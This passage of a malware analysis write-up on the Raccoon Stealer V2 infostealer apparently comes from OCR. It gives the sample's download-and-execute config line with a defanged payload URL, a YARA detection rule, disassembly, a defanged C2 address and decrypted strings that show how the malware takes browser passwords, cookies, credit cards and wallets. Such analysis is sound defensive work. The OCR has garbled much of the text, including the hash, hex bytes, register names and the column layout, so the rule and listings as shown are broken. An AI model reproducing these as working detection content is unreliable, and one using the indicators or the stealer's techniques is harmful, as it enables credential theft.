field. The configuration for the sample | analyzed contained the following 1dr_ configuration:
1dr_1:hxxps://bitbucket[.]org/reaXxon112233/12333333/downloads/1[.]exe|%APPDATA

%\ | exe. As a remote payload was listed, Raccoon Stealer will download the file from the
URL specified in the configuration to C:\Users\<user>\AppData\Roaming\<[a-zA-z0-9]
{8}>, and execute it.
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Flgure 17: [Optional] Download and Execute Additional Payload(s)
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Detection: Yara Rule, Ghidra Script, Config Extractor/String Decryptor

Disclaimer: None of these have really been tested against larger sample sets. | focused on
this sample in particular. Feel free to open an issue on GitHub and | can update any of the

following.

Yara Rule
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https://github.com/MuziSec/yara/blob/main/Raccoon_Stealer_V2.yar

rule Raccoon_Stealer_V2: raccoon_stealer_v2

{
meta:
author = "muzi"
date = "2022-07-22"
description = "Detects Raccoon Stealer V2 (unpacked)"

hash = "022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bT06167€03"

strings:

// Simple Strings

$s1 = "Profile %d" wide
$s2 = "Login Data" wide
$s3 = "ONetwork\\Cookies" wide
$s4 = "Web Data" wide
$s5 = "*.1nk" wide
$s6 = "\\ffcookies.txt" wide
$s7 = " %s %s" wide
$s8 = "wallet.dat" wide
$s9 = "S-1-5-18" wide // malware checks if running as system
/*
LAB_0040878a XREF[1]:
004087be(j)
0040878a 8b c3 MOV EAX, EBX
0040878c 8b Oc 9f MOV this, dword ptr [EDI + EBX*0x4]
0040878f 99 CDQ
00408790 f7 7d fc IDIV dword ptr [EBP + local_8]
00408793 8b 45 10 MoV EAX, dword ptr [EBP + param_3]
00408796 Of be 04 02 MOVSX EAX, byte ptr [EDX + EAX*0Ox1]
0040879a 03 cl1 ADD EAX, this
0040879c 03 f0O ADD EST, EAX
0040879e 81 e6 ff AND ESI, Ox800000ff
00 00 80
004087a4 79 08 JNS LAB_004087ae
004087a6 4e DEC ESI
004087a7 81 ce 00 OR ESI, oxffffffoo
ff ff ff
004087ad 46 INC ESI

*/

// Decryption Routine
$decryption_routine = {

8B (CO|C1|C2|C3|C5|C6|C7) [0-8]

8B ?? ?? [0-8]

99 [0-8]

F7 7D ?? [0-8]

8B (45|4D|55|5D|6D|75|7D) ?? [0-8]
OF BE ?? ?? [0-8]

03 (C1|C2|C3|C5|C6|C7) [0-8]

03 (FO|F1|F2|F3|F5|F6|F7) [0-8]
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/*
00408130

00408136
00408137
00408138
0040813b
00406813d
00408140
00408141
00408144
00408145
00408147
00408149
0040814b

00408150

0040816d(j)
00408152
00408155
00408157
00408159

00408150(j)
0040815d

00408162
00408165
00408166
00408167
00408168
00408169
0040816b
0040816d

*/

8b
eo
57
50
ff
ff
8b
50
ff
57
ff
85
74
be
00
eb

8b
85
74
c6

al
40
8d
51
56
53
57
ff
85
75

// C2 Comms

$c2_comms

35
40

75
di
7d

75

d6
co
24
50
00
0b

45
co
16
04

fc
00
4d

do
co
e3

{

14
00

18

doe

18

c3

e4

18

eo

e4

00

81 E6 ?? ?? ?? ?? [0-8]

7? ?? [0-8]
4E [0-8]
81 CE 2?7 ?? 2?2 ?? [0-8]
46
MOV ESI,dword ptr [DAT_0040e014]
PUSH EDI
PUSH EAX
PUSH dword ptr [EBP + param_7]
CALL param_1
MOV EDI,dword ptr [EBP + local_34]
PUSH EAX
PUSH dword ptr [EBP + param_7]
PUSH EDI
CALL EST
TEST EAX, EAX
JZ LAB_0040816f
MOV EST, 0xc350
JMP LAB_0040815d

LAB_00408152

MOV

TEST

JZ

MOV
LAB_0040815d

MOV

LEA

PUSH
PUSH
PUSH
PUSH
CALL
TEST
INZ

EAX, dword ptr [EBP + local_20]
EAX, EAX

LAB_0040816f

byte ptr [EAX + EBX*0x1], 0x0

EAX, [DAT_0040e0fc]

param_1=>local_20, [EBP + -0x1c]
param_1

EST

EBX

EDI

EAX

EAX, EAX

LAB_00408152

8B 35 ?? ?? ?? ?? [0-8]

(50]51|52|53|55|56|57) [0-8]
(50]51|52|53|55|56|57) [0-8]
FF 75 ?? [0-8]
FF (DO|D1|D2|D3|D5|D6|D7) [0-8]

XREF[1]:

XREF[1]:
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8B (45|4D|55|5D|6D|75|7D) 2?2 [0-8]
(50]51|52|53|55|56|57) [0-8]

FF 75 ?? [0-8]
(50]51|52|53|55|56|57) [0-8]

FF (DO|D1|D2|D3|D5|D6|D7) [0-8]

85 CO [0-8]

(E2|EB|72|74]75|7C) ?? [0-8]
(B8|B9|BA|BB|BD|BE|BF) ?? ?? 22 ?? [0-8]
(E2|EB|72|74|75|7C) ?? [0-8]

8B (45|4D|55|5D|6D|75|7D) 2?2 [0-8]
85 CO [0-8]

(E2|EB|72|74|75|7C) ?? [0-8]

C6 ?? ?? ?? [0-8]

Al ?? 2?2 2?2 22 [0-8]

8D 4D ?? [0-8]
(50]51|52|53|55|56|57) [0-8]
(50]51|52|53|55|56|57) [0-8]
(50]51|52|53|55|56|57) [0-8]
(50]51|52|53|55|56|57) [0-8]

FF ?? [0-8]
85 CO [0-8]
(E2|EB|72|74|75]|7C)
}
condition:

6 of ($s*) or

($c2_comms and $decryption_routine)
}
Ghidra Script

Configuration Extractor, String_Decryptor
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https://github.com/MuziSec/malware_scripts/blob/main/raccoon_stealer/raccoon_decrypt_ghidra.py
https://github.com/MuziSec/malware_scripts/blob/main/raccoon_stealer/decrypt.py

python3 decrypt.py 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03

Raccoon Stealer Config:
hxxp://51.195.166[ .]184/
Raccoon Stealer Decrypted Strings:

ews_

grbr_

%S TRUE %S %S %S %S %S
URL :%s

USR:%s

PASS :%s

%d) %s
- Locale: %s
- 0S: %s
- RAM: %d MB
- Time zone: %c%ld minutes from GMT
- Display size: %dx%d

%d
- Architecture: x%d

- CPU: %s (%d cores)

- Display Devices:
%S

formhistory.sqlite

*

\

%
’

I

\*

logins.json
\autofill. txt
\cookies.txt
\passwords.txt
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*/*

Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Type: multipart/form-data; boundary=

Content-Type: text/plain;
User Data

wallets

wlts_

1ldr_

sstmnfo_

token:

nss3.dl1l

sqlite3.dll

SOFTWARE\Microsoft\Windows NT\CurrentVersion

PATH

ProductName
sqlite3_prepare_v2
sglite3_openl6
sglite3_close
sqlite3_step
sqlite3d_finalize
sglite3_column_text16
sglite3_column_bytes16

SELECT origin_url, username_value,

SELECT name, value FROM autofill

pera
Stable

password_value FROM logins
SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies

SELECT host, path, isSecure, expiry, name,
SELECT fieldname, value FROM moz_formhistory

cookies.sqlite
machineld=
&configld=
"encrypted_key":"
stats_version":"

Content-Type: application/x-object

value FROM moz_cookies

Content-Disposition: form-data; name="file"; filename="

GET

POST

Low

MachineGuid

image/jpeg

GdiPlus.dll

Gdi32.d11

GdiplusStartup
GdipDisposeImage
GdipGetImageEncoders
GdipGetImageEncodersSize
GdipCreateBitmapFromHBITMAP
GdipSaveImageToFile
BitBlt
CreateCompatibleBitmap
CreateCompatibleDC
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DeleteObject

GetObjectWw

SelectObject

SetStretchBltMode

StretchBlt

SELECT name_on_card, card_number_encrypted,
credit_cards

NUM: %s

HOLDER:%s

EXP:%s/%s

\CC. txt

NSS_Init

NSS_Shutdown
PK11l_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
SECITEM_Freeltem
hostname":"

", "httpRealm":
encryptedUsername":"

", "encryptedPassword":"
", "guid":

Profiles

expiration_month, expiration_year FROM
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